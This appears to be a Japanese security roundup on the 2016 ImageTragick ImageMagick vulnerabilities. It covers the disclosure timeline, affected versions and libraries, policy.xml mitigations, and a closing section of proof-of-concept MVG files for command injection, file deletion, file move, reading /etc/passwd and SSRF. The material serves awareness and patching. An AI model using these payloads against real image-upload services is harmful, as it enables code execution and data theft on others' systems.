画像処理ソフトImageMagickに複数の脆弱性が存在するとして2016年5月3日頃、CVE-2016-3714他の脆弱性情報が公開されました。ここでは関連情報をまとめます。
ImageMagick 開発チームの情報
- 2016年5月3日 ImageMagick Security Issue
脆弱性情報
対象 | ImageMagick |
---|---|
CVE | CVE-2016-3714 CVE-2016-3715 CVE-2016-3716 CVE-2016-3717 CVE-2016-3718 |
影響 | RCE |
重要度 | CVE-2016-3714:Important(Redhat)/緊急(JPCERT/CC) |
PoC | PoC公開あり。 in the wildとの情報もあり。 |
CVSS(v2) | CVE-2016-3714:6.8(Redhat)/9.3(CERT/CC) |
発見者 | Nikolay Ermishkin氏(Mail.Ru Security Team) |
脆弱性愛称
ImageMagickの脆弱性の愛称として「ImageTragick」という呼称が用いられている。
- Webサイトも公開されている。https://imagetragick.com/
- ロゴも作成されている。 https://imagetragick.com/img/logo-medium.png
- 専用のTwitterアカウントも公開されている。
All details have been moved to the ImageTragick website https://t.co/h9P7gNHAZC
— ImageTragick (@ImageTragick) 2016年5月3日
関連情報
- JVNVU#92998929 ImageMagick に入力値検証不備の脆弱性 (JVN)
- Vulnerability Note VU#250519 ImageMagick does not properly validate input before processing images using a delegate (CERT/CC)
- ImageMagick の脆弱性 (CVE-2016-3714) に関する注意喚起 (JPCERT/CC)
- ImageTragick: Another Vulnerability, Another Nickname (SANS ISC)
- http://www.openwall.com/lists/oss-security/2016/05/03/18
- ImageMagickの脆弱性(ImageTragick) - てきとうなメモ
攻撃の観測
攻撃デモ
脆弱性タイムライン
日付 | 出来事 |
---|---|
2016年4月21日 | Stiwieから報告されたMy.Comのファイルリード脆弱性をMail.rumのセキュリティチームが受け取った。この問題はImageMagickの開発チームへ報告された。 |
同日 | My.Com 開発チームによりファイル読み込みの脆弱性にパッチ公開 |
2016年4月28日 | Nikolay Ermishkin氏がImageMagickにコード実行の脆弱性を発見。 |
2016年4月30日 | ImageMagickの開発チームへコード実行の脆弱性について報告。 |
2016年4月30日 | ImageMagickがコード実行の脆弱性を修正。(不完全な修正) |
同日 | ImageMagick 6.9.3-9(不完全修正版)が公開。 |
2016年5月1日 | 修正版の回避方法についてImageMagickへ通知。 |
2016年5月2日 | ディストリビューターのMLへ限定公開。 |
2016年5月3日 | ImageTragickのWebサイトを一般公開。 |
2016年5月4日 | ImageMagick 6.9.3-10、7.0.1-1が公開。 |
2016年5月8日 | ImageMagick 6.9.4-0、7.0.1-2が公開。 |
影響範囲
- ImageMagick 6系 6.9.3-9 以前のバージョン
- ImageMagick 7系 7.0.1-0 以前のバージョン
影響を受けるディストリビューション
CERT/CCによれば主要ディストリビューションの多くが影響を受ける。
影響を受けるソフトウェア
- PHP imagick
- Ruby rmagick, paperclip
- node.js imagemagick
- Symmetric roundabout http://www.symmetric.co.jp/news_detail_20160509.html
- ケータイキット for Movable Type https://www.ideamans.com/release/20160510/
そして、policy\.xml による回避策で発現しなくなりました。Ubuntuによるパッチは出ていないので、こちらで対応するしかなさそうですね RT @ockeghem: ImageMagic脆弱性のPoCをPHPのImagicクラスに食わせただけで、脆弱性が発現しました
— 徳丸 浩 (@ockeghem) 2016年5月7日
対策
ImageMagickを最新版に更新する。
ImageMagickより公開されたバージョン (5/8に公開)
- 7.0.1-2
- 6.9.4-0
- http://www.imagemagick.org/download/
バージョン確認方法
$ convert -version
回避策
- 対象ファイルが画像ファイルであるかMagic Byteから確認を行う。
- ImageMagickの設定ファイル「policy.xml」に次の設定を加える。(5月5日更新、項目を追加)
<policymap> <policy domain="coder" rights="none" pattern="EPHEMERAL" /> <policy domain="coder" rights="none" pattern="URL" /> <policy domain="coder" rights="none" pattern="HTTPS" /> <policy domain="coder" rights="none" pattern="MVG" /> <policy domain="coder" rights="none" pattern="MSL" /> <policy domain="coder" rights="none" pattern="TEXT" /> <policy domain="coder" rights="none" pattern="SHOW" /> <policy domain="coder" rights="none" pattern="WIN" /> <policy domain="coder" rights="none" pattern="PLT" /> </policymap>
- policy.xmlが使用できない場合
- policy.xmlが使えない古いImageMagickでImageTragickを回避する (vaporoidさん)
- policy.xmlが使えない古いImageMagickでImageTragickを回避する (2) (vaporoidさん)
PoC
検証スクリプト一式
次に公開されているファイル一式をダウンロードし、「test.sh」を実行することで影響を受けるかを確認できる。
PoC CVE-2016-3714 (コード実行の脆弱性)
次のMVGファイル「exploit.mvg」を作成する。
push graphic-context viewbox 0 0 640 480 fill 'url(https://example.com/image.jpg"|ls "-la)' pop graphic-context
ImageMagickのconvertコマンドでこのファイルを読み込むと、MVGファイル内に記載されたコマンドが実行される。
$ convert exploit.mvg out.png drwxr-xr-x 5 piyokango piyokango 4096 May 4 08:26 . drwxr-xr-x 3 root root 4096 Dec 4 15:06 .. :
このPoCはMVGファイルを用いているが拡張子を偽装した場合(例えばJPG等)でもPoCが実行された。
PoC CVE-2016-3715 (ファイル消去の脆弱性)
次のMVGファイルを作成しconvertコマンドで読み込む。
push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'ephemeral:/tmp/delete.txt' popgraphic-context
PoC CVE-2016-3716 (ファイル移動の脆弱性)
次のMVGファイルを作成しconvertコマンドで読み込む。
push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'msl:/tmp/msl.txt' popgraphic-context
PoC CVE-2016-3717 (ファイル読込の脆弱性)
次のMVGファイルを作成しconvertコマンドで読み込む。
push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'label:@...c/passwd' pop graphic-context
PoC CVE-2016-3718 (SSRFの脆弱性)
次のMVGファイルを作成しconvertコマンドで読み込む。
push graphic-context viewbox 0 0 640 480 fill 'url(http://example.com/)' pop graphic-context
ツール
謝辞
このまとめは次の方から頂いた情報をもとに追記・修正を行っています。ありがとうございます。
- AJさん